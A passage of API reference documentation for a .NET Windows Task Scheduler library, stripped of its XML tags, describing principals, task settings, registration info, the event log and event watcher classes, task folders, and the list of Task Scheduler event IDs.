to true throw a with details about invalid properties. + true if current is valid; false if not. + + + Gets the lowest supported version. + The output list. + + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting this property to + something other than a null or empty string, will set the property to NULL and will set the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property to something other + than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security context for the + tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + The property is set and the is read-only. + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This + method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a description of the task, the + author of the task, the date the task is registered, and the security descriptor of the task. + + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in Windows 8, many of the + native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is specified for this + property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value of 1 second indicates + the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a trigger is specified by the + EndBoundary property of all trigger types. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote Applications Integrated + Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not be terminated if it + exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + Gets or sets an XML-formatted definition of the task settings. + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable property of + ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run only if the specified network + profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + + Contains all the tasks that are registered. + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. This has been removed so that it is consistent with V2. + + + + Releases all resources used by this class. + + + + + Gets the collection enumerator for the register task collection. + + An for this collection. + + + + Internal constructor + + TaskService instance + The filter. + + + + Retrieves the current task. See for more information. + + + + + Releases all resources used by this class. + + + + + Moves to the next task. See MoveNext for more information. + + true if next task found, false if no more tasks. + + + + Reset task enumeration. See Reset for more information. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets or sets the regular expression filter for task names. + + The regular expression filter. + + + + Gets the specified registered task from the collection. + + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + + Gets the named registered task from the collection. + + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + + Determines whether the specified task exists. + + The name of the task. + true if task exists; otherwise, false. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Collection of running tasks. + + + + + Releases all resources used by this class. + + + + + Gets an IEnumerator instance for this collection. + + An enumerator. + + + + Releases all resources used by this class. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets the specified running task from the collection. + + The index of the running task to be retrieved. + A instance. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an 